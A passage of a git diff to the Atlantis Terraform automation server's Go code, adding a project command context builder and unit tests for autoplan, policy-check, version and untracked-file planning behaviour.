projects: -- dir: dir1` +- dir: dir1`, + ExpectedCtxs: 0, + ExpectedClones: Once(), + ModifiedFiles: []string{"dir2/main.tf"}, + IncludeGitUntrackedFiles: true, + }, + { + AtlantisYAML: ` +version: 3 +parallel_plan: true`, + ExpectedCtxs: 0, + ExpectedClones: Once(), + ModifiedFiles: []string{"README.md"}, + IncludeGitUntrackedFiles: false, + }, + { + AtlantisYAML: ` +version: 3 +autodiscover: + mode: enabled +projects: +- dir: dir1`, + ExpectedCtxs: 0, + ExpectedClones: Once(), + ModifiedFiles: []string{"dir2/main.tf"}, + IncludeGitUntrackedFiles: false, + }, + } + + userConfig := defaultUserConfig + userConfig.SkipCloneNoChanges = true + + for _, c := range cases { + RegisterMockTestingT(t) + vcsClient := vcsmocks.NewMockClient() + When(vcsClient.GetModifiedFiles( + Any[logging.SimpleLogging](), Any[models.Repo](), Any[models.PullRequest]())).ThenReturn(c.ModifiedFiles, nil) + When(vcsClient.SupportsSingleFileDownload(Any[models.Repo]())).ThenReturn(true) + When(vcsClient.GetFileContent( + Any[logging.SimpleLogging](), Any[models.PullRequest](), Any[string]())).ThenReturn(true, []byte(c.AtlantisYAML), nil) + workingDir := mocks.NewMockWorkingDir() + + logger := logging.NewNoopLogger(t) + + globalCfgArgs := valid.GlobalCfgArgs{ + AllowAllRepoSettings: true, + } + scope, _, _ := metrics.NewLoggingScope(logger, "atlantis") + terraformClient := tfclientmocks.NewMockClient() + + builder := events.NewProjectCommandBuilder( + false, + &config.ParserValidator{}, + &events.DefaultProjectFinder{}, + vcsClient, + workingDir, + events.NewDefaultWorkingDirLocker(), + valid.NewGlobalCfgFromArgs(globalCfgArgs), + &events.DefaultPendingPlanFinder{}, + &events.CommentParser{ExecutableName: "atlantis"}, + userConfig.SkipCloneNoChanges, + userConfig.EnableRegExpCmd, + userConfig.EnableAutoMerge, + userConfig.EnableParallelPlan, + userConfig.EnableParallelApply, + userConfig.AutoDetectModuleFiles, + userConfig.AutoplanFileList, + userConfig.RestrictFileList, + userConfig.SilenceNoProjects, + c.IncludeGitUntrackedFiles, + userConfig.AutoDiscoverMode, + scope, + terraformClient, + ) + var actCtxs []command.ProjectContext + var err error + actCtxs, err = builder.BuildAutoplanCommands(&command.Context{ + HeadRepo: models.Repo{}, + Pull: models.PullRequest{}, + User: models.User{}, + Log: logger, + Scope: scope, + PullRequestStatus: models.PullReqStatus{ + Mergeable: true, + }, + }) + Ok(t, err) + Equals(t, c.ExpectedCtxs, len(actCtxs)) + workingDir.VerifyWasCalled(c.ExpectedClones).Clone(Any[logging.SimpleLogging](), Any[models.Repo](), + Any[models.PullRequest](), Any[string]()) + } +} + +func TestDefaultProjectCommandBuilder_WithPolicyCheckEnabled_BuildAutoplanCommand(t *testing.T) { RegisterMockTestingT(t) - vcsClient := vcsmocks.NewMockClient() - When(vcsClient.GetModifiedFiles(matchers.AnyModelsRepo(), matchers.AnyModelsPullRequest())).ThenReturn([]string{"main.tf"}, nil) - When(vcsClient.SupportsSingleFileDownload(matchers.AnyModelsRepo())).ThenReturn(true) - When(vcsClient.DownloadRepoConfigFile(matchers.AnyModelsPullRequest())).ThenReturn(true, []byte(atlantisYAML), nil) + tmpDir := DirStructure(t, map[string]interface{}{ + "main.tf": nil, + }) + + logger := logging.NewNoopLogger(t) + scope, _, _ := metrics.NewLoggingScope(logger, "atlantis") + userConfig := defaultUserConfig + workingDir := mocks.NewMockWorkingDir() + When(workingDir.Clone(Any[logging.SimpleLogging](), Any[models.Repo](), Any[models.PullRequest](), + Any[string]())).ThenReturn(tmpDir, nil) + vcsClient := vcsmocks.NewMockClient() + When(vcsClient.GetModifiedFiles(Any[logging.SimpleLogging](), Any[models.Repo](), + Any[models.PullRequest]())).ThenReturn([]string{"main.tf"}, nil) - builder := &events.DefaultProjectCommandBuilder{ - WorkingDirLocker: events.NewDefaultWorkingDirLocker(), - WorkingDir: workingDir, - ParserValidator: &yaml.ParserValidator{}, - VCSClient: vcsClient, - ProjectFinder: &events.DefaultProjectFinder{}, - CommentBuilder: &events.CommentParser{}, - GlobalCfg: valid.NewGlobalCfg(true, false, false), - SkipCloneNoChanges: true, - } - - var actCtxs []models.ProjectCommandContext - var err error - actCtxs, err = builder.BuildAutoplanCommands(&events.CommandContext{ - HeadRepo: models.Repo{}, - Pull: models.PullRequest{}, - User: models.User{}, - Log: nil, - PullMergeable: true, + globalCfgArgs := valid.GlobalCfgArgs{ + AllowAllRepoSettings: false, + PolicyCheckEnabled: true, + } + + globalCfg := valid.NewGlobalCfgFromArgs(globalCfgArgs) + terraformClient := tfclientmocks.NewMockClient() + + builder := events.NewProjectCommandBuilder( + true, + &config.ParserValidator{}, + &events.DefaultProjectFinder{}, + vcsClient, + workingDir, + events.NewDefaultWorkingDirLocker(), + globalCfg, + &events.DefaultPendingPlanFinder{}, + &events.CommentParser{ExecutableName: "atlantis"}, + userConfig.SkipCloneNoChanges, + userConfig.EnableRegExpCmd, + userConfig.EnableAutoMerge, + userConfig.EnableParallelPlan, + userConfig.EnableParallelApply, + userConfig.AutoDetectModuleFiles, + userConfig.AutoplanFileList, + userConfig.RestrictFileList, + userConfig.SilenceNoProjects, + userConfig.IncludeGitUntrackedFiles, + userConfig.AutoDiscoverMode, + scope, + terraformClient, + ) + + ctxs, err := builder.BuildAutoplanCommands(&command.Context{ + PullRequestStatus: models.PullReqStatus{ + Mergeable: true, + }, + Log: logger, + Scope: scope, + }) + + Ok(t, err) + Equals(t, 2, len(ctxs)) + planCtx := ctxs[0] + policyCheckCtx := ctxs[1] + Equals(t, command.Plan, planCtx.CommandName) + Equals(t, globalCfg.Workflows["default"].Plan.Steps, planCtx.Steps) + Equals(t, command.PolicyCheck, policyCheckCtx.CommandName) + Equals(t, globalCfg.Workflows["default"].PolicyCheck.Steps, policyCheckCtx.Steps) +} + +// Test building version command for multiple projects +func TestDefaultProjectCommandBuilder_BuildVersionCommand(t *testing.T) { + RegisterMockTestingT(t) + tmpDir := DirStructure(t, map[string]interface{}{ + "workspace1": map[string]interface{}{ + "project1": map[string]interface{}{ + "main.tf": nil, + "workspace.tfplan": nil, + }, + "project2": map[string]interface{}{ + "main.tf": nil, + "workspace.tfplan": nil, + }, + }, + "workspace2": map[string]interface{}{ + "project1": map[string]interface{}{ + "main.tf": nil, + "workspace.tfplan": nil, + }, + "project2": map[string]interface{}{ + "main.tf": nil, + "workspace.tfplan": nil, + }, + }, }) + // Initialize git repos in each workspace so that the .tfplan files get + // picked up. + runCmd(t, filepath.Join(tmpDir, "workspace1"), "git", "init") + runCmd(t, filepath.Join(tmpDir, "workspace2"), "git", "init") + + workingDir := mocks.NewMockWorkingDir() + When(workingDir.GetPullDir( + Any[models.Repo](), + Any[models.PullRequest]())). + ThenReturn(tmpDir, nil) + + logger := logging.NewNoopLogger(t) + scope, _, _ := metrics.NewLoggingScope(logger, "atlantis") + userConfig := defaultUserConfig + + globalCfgArgs := valid.GlobalCfgArgs{ + AllowAllRepoSettings: false, + } + terraformClient := tfclientmocks.NewMockClient() + + builder := events.NewProjectCommandBuilder( + false, + &config.ParserValidator{}, + &events.DefaultProjectFinder{}, + nil, + workingDir, + events.NewDefaultWorkingDirLocker(), + valid.NewGlobalCfgFromArgs(globalCfgArgs), + &events.DefaultPendingPlanFinder{}, + &events.CommentParser{ExecutableName: "atlantis"}, + userConfig.SkipCloneNoChanges, + userConfig.EnableRegExpCmd, + userConfig.EnableAutoMerge, + userConfig.EnableParallelPlan, + userConfig.EnableParallelApply, + userConfig.AutoDetectModuleFiles, + userConfig.AutoplanFileList, + userConfig.RestrictFileList, + userConfig.SilenceNoProjects, + userConfig.IncludeGitUntrackedFiles, + userConfig.AutoDiscoverMode, + scope, + terraformClient, + ) + + ctxs, err := builder.BuildVersionCommands( + &command.Context{ + Log: logger, + Scope: scope, + }, + &events.CommentCommand{ + RepoRelDir: "", + Flags: nil, + Name: command.Version, + Verbose: false, + Workspace: "", + ProjectName: "", + }) Ok(t, err) - Equals(t, 0, len(actCtxs)) - workingDir.VerifyWasCalled(Never()).Clone(matchers.AnyPtrToLoggingSimpleLogger(), matchers.AnyModelsRepo(), matchers.AnyModelsPullRequest(), AnyString()) + Equals(t, 4, len(ctxs)) + Equals(t, "project1", ctxs[0].RepoRelDir) + Equals(t, "workspace1", ctxs[0].Workspace) + Equals(t, "project2", ctxs[1].RepoRelDir) + Equals(t, "workspace1", ctxs[1].Workspace) + Equals(t, "project1", ctxs[2].RepoRelDir) + Equals(t, "workspace2", ctxs[2].Workspace) + Equals(t, "project2", ctxs[3].RepoRelDir) + Equals(t, "workspace2", ctxs[3].Workspace) +} + +// Test +func TestDefaultProjectCommandBuilder_BuildPlanCommands_Single_With_RestrictFileList_And_IncludeGitUntrackedFiles(t *testing.T) { + testDir1 := "directory-1" + testDir2 := "directory-2" + + cases := []struct { + Description string + AtlantisYAML string + DirectoryStructure map[string]interface{} + ModifiedFiles []string + UntrackedFiles []string + Cmd events.CommentCommand + ExpRepoRelDir string + ExpErr string + }{ + { + Description: "planning a git untracked file project in a modified directory", + Cmd: events.CommentCommand{ + Name: command.Plan, + RepoRelDir: testDir1 + "/ci-cdktf.out/stacks/test", + Workspace: "default", + }, + DirectoryStructure: map[string]interface{}{ + testDir1: map[string]interface{}{ + "main.ts": nil, + }, + }, + ModifiedFiles: []string{testDir1 + "/main.ts"}, + UntrackedFiles: []string{testDir1 + "/ci-cdktf.out/stacks/test/cdk.tf.json"}, + ExpRepoRelDir: testDir1 + "/ci-cdktf.out/stacks/test", + }, + { + Description: "planning a git untracked file project outside a modified directory", + Cmd: events.CommentCommand{ + Name: command.Plan, + RepoRelDir: testDir2 + "/ci-cdktf.out/stacks/test", + Workspace: "default", + }, + DirectoryStructure: map[string]interface{}{ + testDir1: map[string]interface{}{ + "main.ts": nil, + }, + }, + ModifiedFiles: []string{testDir1 + "/main.ts"}, + UntrackedFiles: []string{testDir1 + "/ci-cdktf.out/stacks/test/cdk.tf.json"}, + ExpErr: "the dir \"" + testDir2 + "/ci-cdktf.out/stacks/test\" is not in the plan list of this pull request", + }, + } + + globalCfgArgs := valid.GlobalCfgArgs{ + AllowAllRepoSettings: true, + } + + logger := logging.NewNoopLogger(t) + scope, _, _ := metrics.NewLoggingScope(logger, "atlantis") + userConfig := defaultUserConfig + userConfig.RestrictFileList = true + userConfig.IncludeGitUntrackedFiles = true + + for _, c := range cases { + t.Run(c.Description+"_"+command.Plan.String(), func(t *testing.T) { + RegisterMockTestingT(t) + tmpDir := DirStructure(t, c.DirectoryStructure) + + workingDir := mocks.NewMockWorkingDir() + When(workingDir.Clone(Any[logging.SimpleLogging](), Any[models.Repo](), Any[models.PullRequest](), + Any[string]())).ThenReturn(tmpDir, nil) + When(workingDir.GetWorkingDir(Any[models.Repo](), Any[models.PullRequest](), Any[string]())).ThenReturn(tmpDir, nil) + When(workingDir.GetGitUntrackedFiles(Any[logging.SimpleLogging](), Any[models.Repo](), Any[models.PullRequest](), + Any[string]())).ThenReturn(c.UntrackedFiles, nil) + vcsClient := vcsmocks.NewMockClient() + When(vcsClient.GetModifiedFiles(Any[logging.SimpleLogging](), Any[models.Repo](), + Any[models.PullRequest]())).ThenReturn(c.ModifiedFiles, nil) + if c.AtlantisYAML != "" { + err := os.WriteFile(filepath.Join(tmpDir, valid.DefaultAtlantisFile), []byte(c.AtlantisYAML), 0600) + Ok(t, err) + } + + terraformClient := tfclientmocks.NewMockClient() + + builder := events.NewProjectCommandBuilder( + false, // policyChecksSupported + &config.ParserValidator{}, + &events.DefaultProjectFinder{}, + vcsClient, + workingDir, + events.NewDefaultWorkingDirLocker(), + valid.NewGlobalCfgFromArgs(globalCfgArgs), + &events.DefaultPendingPlanFinder{}, + &events.CommentParser{ExecutableName: "atlantis"}, + userConfig.SkipCloneNoChanges, + userConfig.EnableRegExpCmd, + userConfig.EnableAutoMerge, + userConfig.EnableParallelPlan, + userConfig.EnableParallelApply, + userConfig.AutoDetectModuleFiles, + userConfig.AutoplanFileList, + userConfig.RestrictFileList, + userConfig.SilenceNoProjects, + userConfig.IncludeGitUntrackedFiles, + userConfig.AutoDiscoverMode, + scope, + terraformClient, + ) + + var actCtxs []command.ProjectContext + var err error + cmd := c.Cmd + actCtxs, err = builder.BuildPlanCommands(&command.Context{ + Log: logger, + Scope: scope, + }, &cmd) + if c.ExpErr != "" { + ErrEquals(t, c.ExpErr, err) + return + } + Ok(t, err) + Equals(t, 1, len(actCtxs)) + actCtx := actCtxs[0] + Equals(t, c.ExpRepoRelDir, actCtx.RepoRelDir) + }) + } +} + +func TestDefaultProjectCommandBuilder_BuildPlanCommands_with_IncludeGitUntrackedFiles(t *testing.T) { + testDir1 := "directory-1" + + cases := []struct { + Description string + AtlantisYAML string + DirectoryStructure map[string]interface{} + ModifiedFiles []string + UntrackedFiles []string + Cmd events.CommentCommand + ExpRepoRelDir string + ExpErr string + }{ + { + Description: "planning with a git untracked file", + Cmd: events.CommentCommand{ + Name: command.Plan, + }, + DirectoryStructure: map[string]interface{}{ + testDir1: map[string]interface{}{ + "main.ts": nil, + "ci-cdktf.out": map[string]interface{}{ + "stacks": map[string]interface{}{ + "test": map[string]interface{}{ + "cdk.tf.json": nil, + }, + }, + }, + }, + }, + ModifiedFiles: []string{testDir1 + "/main.ts"}, + UntrackedFiles: []string{testDir1 + "/ci-cdktf.out/stacks/test/cdk.tf.json"}, + ExpRepoRelDir: testDir1 + "/ci-cdktf.out/stacks/test", + }, + } + + globalCfgArgs := valid.GlobalCfgArgs{ + AllowAllRepoSettings: true, + } + + logger := logging.NewNoopLogger(t) + scope, _, _ := metrics.NewLoggingScope(logger, "atlantis") + userConfig := defaultUserConfig + userConfig.IncludeGitUntrackedFiles = true + userConfig.AutoplanFileList = "**/cdk.tf.json" + + for _, c := range cases { + t.Run(c.Description+"_"+command.Plan.String(), func(t *testing.T) { + RegisterMockTestingT(t) + tmpDir := DirStructure(t, c.DirectoryStructure) + + workingDir := mocks.NewMockWorkingDir() + When(workingDir.Clone(Any[logging.SimpleLogging](), Any[models.Repo](), Any[models.PullRequest](), + Any[string]())).ThenReturn(tmpDir, nil) + When(workingDir.GetWorkingDir(Any[models.Repo](), Any[models.PullRequest](), Any[string]())).ThenReturn(tmpDir, nil) + When(workingDir.GetGitUntrackedFiles(Any[logging.SimpleLogging](), Any[models.Repo](), Any[models.PullRequest](), + Any[string]())).ThenReturn(c.UntrackedFiles, nil) + vcsClient := vcsmocks.NewMockClient() + When(vcsClient.GetModifiedFiles(Any[logging.SimpleLogging](), Any[models.Repo](), + Any[models.PullRequest]())).ThenReturn(c.ModifiedFiles, nil) + if c.AtlantisYAML != "" { + err := os.WriteFile(filepath.Join(tmpDir, valid.DefaultAtlantisFile), []byte(c.AtlantisYAML), 0600) + Ok(t, err) + } + + terraformClient := tfclientmocks.NewMockClient() + + builder := events.NewProjectCommandBuilder( + false, // policyChecksSupported + &config.ParserValidator{}, + &events.DefaultProjectFinder{}, + vcsClient, + workingDir, + events.NewDefaultWorkingDirLocker(), + valid.NewGlobalCfgFromArgs(globalCfgArgs), + &events.DefaultPendingPlanFinder{}, + &events.CommentParser{ExecutableName: "atlantis"}, + userConfig.SkipCloneNoChanges, + userConfig.EnableRegExpCmd, + userConfig.EnableAutoMerge, + userConfig.EnableParallelPlan, + userConfig.EnableParallelApply, + userConfig.AutoDetectModuleFiles, + userConfig.AutoplanFileList, + userConfig.RestrictFileList, + userConfig.SilenceNoProjects, + userConfig.IncludeGitUntrackedFiles, + userConfig.AutoDiscoverMode, + scope, + terraformClient, + ) + + var actCtxs []command.ProjectContext + var err error + cmd := c.Cmd + actCtxs, err = builder.BuildPlanCommands(&command.Context{ + Log: logger, + Scope: scope, + }, &cmd) + if c.ExpErr != "" { + ErrEquals(t, c.ExpErr, err) + return + } + Ok(t, err) + Equals(t, 1, len(actCtxs)) + actCtx := actCtxs[0] + Equals(t, c.ExpRepoRelDir, actCtx.RepoRelDir) + }) + } } diff --git a/server/events/project_command_context_builder.go b/server/events/project_command_context_builder.go new file mode 100644 index 0000000000..8c1fe76516 --- /dev/null +++ b/server/events/project_command_context_builder.go @@ -0,0 +1,328 @@ +package events + +import ( + "path/filepath" + + "github.com/google/uuid" + "github.com/runatlantis/atlantis/server/core/config/valid" + "github.com/runatlantis/atlantis/server/core/terraform/tfclient" + "github.com/runatlantis/atlantis/server/events/command" + "github.com/runatlantis/atlantis/server/events/models" + tally "github.com/uber-go/tally/v4" +) + +func NewProjectCommandContextBuilder(policyCheckEnabled bool, commentBuilder CommentBuilder, scope tally.Scope) ProjectCommandContextBuilder { + projectCommandContextBuilder := &DefaultProjectCommandContextBuilder{ + CommentBuilder: commentBuilder, + } + + if policyCheckEnabled { + return &PolicyCheckProjectCommandContextBuilder{ + CommentBuilder: commentBuilder, + ProjectCommandContextBuilder: projectCommandContextBuilder, + } + } + + return &CommandScopedStatsProjectCommandContextBuilder{ + ProjectCommandContextBuilder: projectCommandContextBuilder, + ProjectCounter: scope.Counter("projects"), + } +} + +type ProjectCommandContextBuilder interface { + // BuildProjectContext builds project command contexts for atlantis commands + BuildProjectContext( + ctx *command.Context, + cmdName command.Name, + subCmdName string, + prjCfg valid.MergedProjectCfg, + commentFlags []string, + repoDir string, + automerge, parallelApply, parallelPlan, verbose, abortOnExecutionOrderFail bool, terraformClient tfclient.Client, + ) []command.ProjectContext +} + +// CommandScopedStatsProjectCommandContextBuilder ensures that project command context contains a scoped stats +// object relevant to the command it applies to. +type CommandScopedStatsProjectCommandContextBuilder struct { + ProjectCommandContextBuilder + // Consciously making this global since it gets flushed periodically anyways + ProjectCounter tally.Counter +} + +// BuildProjectContext builds the context and injects the appropriate command level scope after the fact. +func (cb *CommandScopedStatsProjectCommandContextBuilder) BuildProjectContext( + ctx *command.Context, + cmdName command.Name, + subCmdName string, + prjCfg valid.MergedProjectCfg, + commentFlags []string, + repoDir string, + automerge, parallelApply, parallelPlan, verbose, abortOnExecutionOrderFail bool, + terraformClient tfclient.Client, +) (projectCmds []command.ProjectContext) { + cb.ProjectCounter.Inc(1) + + cmds := cb.ProjectCommandContextBuilder.BuildProjectContext( + ctx, cmdName, subCmdName, prjCfg, commentFlags, repoDir, automerge, parallelApply, parallelPlan, verbose, abortOnExecutionOrderFail, terraformClient, + ) + + projectCmds = []command.ProjectContext{} + + for _, cmd := range cmds { + + // specifically use the command name in the context instead of the arg + // since we can return multiple commands worth of contexts for a given command name arg + // to effectively pipeline them. + cmd.Scope = cmd.SetProjectScopeTags(cmd.Scope) + projectCmds = append(projectCmds, cmd) + } + + return +} + +type DefaultProjectCommandContextBuilder struct { + CommentBuilder CommentBuilder +} + +func (cb *DefaultProjectCommandContextBuilder) BuildProjectContext( + ctx *command.Context, + cmdName command.Name, + subName string, + prjCfg valid.MergedProjectCfg, + commentFlags []string, + repoDir string, + automerge, parallelApply, parallelPlan, verbose, abortOnExecutionOrderFail bool, + terraformClient tfclient.Client, +) (projectCmds []command.ProjectContext) { + ctx.Log.Debug("Building project command context for %s", cmdName) + + var steps []valid.Step + switch cmdName { + case command.Plan: + steps = prjCfg.Workflow.Plan.Steps + case command.Apply: + steps = prjCfg.Workflow.Apply.Steps + case command.Version: + // Setting statically since there will only be one step + steps = []valid.Step{{ + StepName: "version", + }} + case command.Import: + steps = prjCfg.Workflow.Import.Steps + case command.State: + switch subName { + case "rm": + steps = prjCfg.Workflow.StateRm.Steps + default: + // comment_parser prevent invalid subcommand, so not need to handle this. + // if comes here, state_command_runner will respond on PR, so it's enough to do log only. + ctx.Log.Err("unknown state subcommand: %s", subName) + } + } + + // If TerraformVersion not defined in config file look for a + // terraform.require_version block. + if prjCfg.TerraformVersion == nil { + prjCfg.TerraformVersion = terraformClient.DetectVersion(ctx.Log, filepath.Join(repoDir, prjCfg.RepoRelDir)) + } + + projectCmdContext := newProjectCommandContext( + ctx, + cmdName, + cb.CommentBuilder.BuildApplyComment(prjCfg.RepoRelDir, prjCfg.Workspace, prjCfg.Name, prjCfg.AutoMergeDisabled, prjCfg.AutoMergeMethod), + cb.CommentBuilder.BuildApprovePoliciesComment(prjCfg.RepoRelDir, prjCfg.Workspace, prjCfg.Name), + cb.CommentBuilder.BuildPlanComment(prjCfg.RepoRelDir, prjCfg.Workspace, prjCfg.Name, commentFlags), + prjCfg, + steps, + prjCfg.PolicySets, + escapeArgs(commentFlags), + automerge, + parallelApply, + parallelPlan, + verbose, + abortOnExecutionOrderFail, + ctx.Scope, + ctx.PullRequestStatus, + ctx.PullStatus, + ctx.TeamAllowlistChecker, + ) + + projectCmds = append(projectCmds, projectCmdContext) + + return +} + +type PolicyCheckProjectCommandContextBuilder struct { + ProjectCommandContextBuilder *DefaultProjectCommandContextBuilder + CommentBuilder CommentBuilder +} + +func (cb *PolicyCheckProjectCommandContextBuilder) BuildProjectContext( + ctx *command.Context, + cmdName command.Name, + subCmdName string, + prjCfg valid.MergedProjectCfg, + commentFlags []string, + repoDir string, + automerge, parallelApply, parallelPlan, verbose, abortOnExecutionOrderFail bool, + terraformClient tfclient.Client, +) (projectCmds []command.ProjectContext) { + if prjCfg.PolicyCheck { + ctx.Log.Debug("PolicyChecks are enabled") + } else { + // PolicyCheck is disabled at repository level + ctx.Log.Debug("PolicyChecks are disabled on this repository") + } + + // If TerraformVersion not defined in config file look for a + // terraform.require_version block. + if prjCfg.TerraformVersion == nil { + prjCfg.TerraformVersion = terraformClient.DetectVersion(ctx.Log, filepath.Join(repoDir, prjCfg.RepoRelDir)) + } + + projectCmds = cb.ProjectCommandContextBuilder.BuildProjectContext( + ctx, + cmdName, + subCmdName, + prjCfg, + commentFlags, + repoDir, + automerge, + parallelApply, + parallelPlan, + verbose, + abortOnExecutionOrderFail, + terraformClient, + ) + + if cmdName == command.Plan && prjCfg.PolicyCheck { + ctx.Log.Debug("Building project command context for %s", command.PolicyCheck) + steps := prjCfg.Workflow.PolicyCheck.Steps + + projectCmds = append(projectCmds, newProjectCommandContext( + ctx, + command.PolicyCheck, + cb.CommentBuilder.BuildApplyComment(prjCfg.RepoRelDir, prjCfg.Workspace, prjCfg.Name, prjCfg.AutoMergeDisabled, prjCfg.AutoMergeMethod), + cb.CommentBuilder.BuildApprovePoliciesComment(prjCfg.RepoRelDir, prjCfg.Workspace, prjCfg.Name), + cb.CommentBuilder.BuildPlanComment(prjCfg.RepoRelDir, prjCfg.Workspace, prjCfg.Name, commentFlags), + prjCfg, + steps, + prjCfg.PolicySets, + escapeArgs(commentFlags), + automerge, + parallelApply, + parallelPlan, + verbose, + abortOnExecutionOrderFail, + ctx.Scope, + ctx.PullRequestStatus, + ctx.PullStatus, + ctx.TeamAllowlistChecker, + )) + } + + return +} + +// newProjectCommandContext is a initializer method that handles constructing the +// ProjectCommandContext. +func newProjectCommandContext(ctx *command.Context, + cmd command.Name, + applyCmd string, + approvePoliciesCmd string, + planCmd string, + projCfg valid.MergedProjectCfg, + steps []valid.Step, + policySets valid.PolicySets, + escapedCommentArgs []string, + automergeEnabled bool, + parallelApplyEnabled bool, + parallelPlanEnabled bool, + verbose bool, + abortOnExecutionOrderFail bool, + scope tally.Scope, + pullReqStatus models.PullReqStatus, + pullStatus *models.PullStatus, + teamAllowlistChecker command.TeamAllowlistChecker, +) command.ProjectContext { + + var projectPlanStatus models.ProjectPlanStatus + var projectPolicyStatus []models.PolicySetStatus + + if ctx.PullStatus != nil { + for _, project := range ctx.PullStatus.Projects { + + // if name is not used, let's match the directory + if projCfg.Name == "" && project.RepoRelDir == projCfg.RepoRelDir { + projectPlanStatus = project.Status + projectPolicyStatus = project.PolicyStatus + break + } + + if projCfg.Name != "" && project.ProjectName == projCfg.Name { + projectPlanStatus = project.Status + projectPolicyStatus = project.PolicyStatus + break + } + } + } + + return command.ProjectContext{ + CommandName: cmd, + ApplyCmd: applyCmd, + ApprovePoliciesCmd: approvePoliciesCmd, + BaseRepo: ctx.Pull.BaseRepo, + EscapedCommentArgs: escapedCommentArgs, + AutomergeEnabled: automergeEnabled, + DeleteSourceBranchOnMerge: projCfg.DeleteSourceBranchOnMerge, + RepoLocksMode: projCfg.RepoLocks.Mode, + CustomPolicyCheck: projCfg.CustomPolicyCheck, + ParallelApplyEnabled: parallelApplyEnabled, + ParallelPlanEnabled: parallelPlanEnabled, + ParallelPolicyCheckEnabled: parallelPlanEnabled, + DependsOn: projCfg.DependsOn, + AutoplanEnabled: projCfg.AutoplanEnabled, + Steps: steps, + HeadRepo: ctx.HeadRepo, + Log: ctx.Log, + Scope: scope, + ProjectPlanStatus: projectPlanStatus, + ProjectPolicyStatus: projectPolicyStatus, + Pull: ctx.Pull, + ProjectName: projCfg.Name, + PlanRequirements: projCfg.PlanRequirements, + ApplyRequirements: projCfg.ApplyRequirements, + ImportRequirements: projCfg.ImportRequirements, + RePlanCmd: planCmd, + RepoRelDir: projCfg.RepoRelDir, + RepoConfigVersion: projCfg.RepoCfgVersion, + TerraformDistribution: projCfg.TerraformDistribution, + TerraformVersion: projCfg.TerraformVersion, + User: ctx.User, + Verbose: verbose, + Workspace: projCfg.Workspace, + PolicySets: policySets, + PolicySetTarget: ctx.PolicySet, + ClearPolicyApproval: ctx.ClearPolicyApproval, + PullReqStatus: pullReqStatus, + PullStatus: pullStatus, + JobID: uuid.New().String(), + ExecutionOrderGroup: projCfg.ExecutionOrderGroup, + AbortOnExecutionOrderFail: abortOnExecutionOrderFail, + SilencePRComments: projCfg.SilencePRComments, + TeamAllowlistChecker: teamAllowlistChecker, + } +} + +func escapeArgs(args []string) []string { + var escaped []string + for _, arg := range args { + var escapedArg string + for i := range arg { + escapedArg += "\\" + string(arg[i]) + } + escaped = append(escaped, escapedArg) + } + return escaped +} diff --git a/server/events/project_command_context_builder_test.go b/server/events/project_command_context_builder_test.go new file mode 100644 index 0000000000..5e66cdb4a2 --- /dev/null +++ b/server/events/project_command_context_builder_test.go @@ -0,0 +1,128 @@ +package events_test + +import ( + "testing" + + . "github.com/petergtz/pegomock/v4" + "github.com/runatlantis/atlantis/server/core/config/valid" + tfclientmocks "github.com/runatlantis/atlantis/server/core/terraform/tfclient/mocks" + "github.com/runatlantis/atlantis/server/events" + "github.com/runatlantis/atlantis/server/events/command" + "github.com/runatlantis/atlantis/server/events/mocks" + "github.com/runatlantis/atlantis/server/events/models" + "github.com/runatlantis/atlantis/server/logging" + "github.com/stretchr/testify/assert" +) + +func TestProjectCommandContextBuilder_PullStatus(t *testing.T) { + + mockCommentBuilder := mocks.NewMockCommentBuilder() + subject := events.DefaultProjectCommandContextBuilder{ + CommentBuilder: mockCommentBuilder, + } + + projRepoRelDir := "dir1" + projWorkspace := "default" + projName := "project1" + + projCfg := valid.MergedProjectCfg{ + RepoRelDir: projRepoRelDir, + Workspace: projWorkspace, + Name: projName, + Workflow: valid.Workflow{ + Name: valid.DefaultWorkflowName, + Apply: valid.DefaultApplyStage, + }, + } + + pullStatus := &models.PullStatus{ + Projects: []models.ProjectStatus{}, + } + + commandCtx := &command.Context{ + Log: logging.NewNoopLogger(t), + PullStatus: pullStatus, + } + + expectedApplyCmt := "Apply Comment" + expectedPlanCmt := "Plan Comment" + + terraformClient := tfclientmocks.NewMockClient() + + t.Run("with project name defined", func(t *testing.T) { + When(mockCommentBuilder.BuildPlanComment(projRepoRelDir, projWorkspace, projName, []string{})).ThenReturn(expectedPlanCmt) + When(mockCommentBuilder.BuildApplyComment(projRepoRelDir, projWorkspace, projName, false, "")).ThenReturn(expectedApplyCmt) + + pullStatus.Projects = []models.ProjectStatus{ + { + Status: models.ErroredPolicyCheckStatus, + ProjectName: "project1", + RepoRelDir: "dir1", + }, + } + + result := subject.BuildProjectContext(commandCtx, command.Plan, "", projCfg, []string{}, "some/dir", false, false, false, false, false, terraformClient) + assert.Equal(t, models.ErroredPolicyCheckStatus, result[0].ProjectPlanStatus) + }) + + t.Run("with no project name defined", func(t *testing.T) { + projCfg.Name = "" + When(mockCommentBuilder.BuildPlanComment(projRepoRelDir, projWorkspace, "", []string{})).ThenReturn(expectedPlanCmt) + When(mockCommentBuilder.BuildApplyComment(projRepoRelDir, projWorkspace, "", false, "")).ThenReturn(expectedApplyCmt) + pullStatus.Projects = []models.ProjectStatus{ + { + Status: models.ErroredPlanStatus, + RepoRelDir: "dir2", + }, + { + Status: models.ErroredPolicyCheckStatus, + RepoRelDir: "dir1", + }, + } + + result := subject.BuildProjectContext(commandCtx, command.Plan, "", projCfg, []string{}, "some/dir", false, false, false, false, false, terraformClient) + + assert.Equal(t, models.ErroredPolicyCheckStatus, result[0].ProjectPlanStatus) + }) + + t.Run("when ParallelApply is set to true", func(t *testing.T) { + projCfg.Name = "Apply Comment" + When(mockCommentBuilder.BuildPlanComment(projRepoRelDir, projWorkspace, "", []string{})).ThenReturn(expectedPlanCmt) + When(mockCommentBuilder.BuildApplyComment(projRepoRelDir, projWorkspace, "", false, "")).ThenReturn(expectedApplyCmt) + pullStatus.Projects = []models.ProjectStatus{ + { + Status: models.ErroredPlanStatus, + RepoRelDir: "dir2", + }, + { + Status: models.ErroredPolicyCheckStatus, + RepoRelDir: "dir1", + }, + } + + result := subject.BuildProjectContext(commandCtx, command.Plan, "", projCfg, []string{}, "some/dir", false, true, false, false, false, terraformClient) + + assert.True(t, result[0].ParallelApplyEnabled) + assert.False(t, result[0].ParallelPlanEnabled) + }) + + t.Run("when AbortOnExecutionOrderFail is set to true", func(t *testing.T) { + projCfg.Name = "Apply Comment" + When(mockCommentBuilder.BuildPlanComment(projRepoRelDir, projWorkspace, "", []string{})).ThenReturn(expectedPlanCmt) + When(mockCommentBuilder.BuildApplyComment(projRepoRelDir, projWorkspace, "", false, "")).ThenReturn(expectedApplyCmt) + pullStatus.Projects = 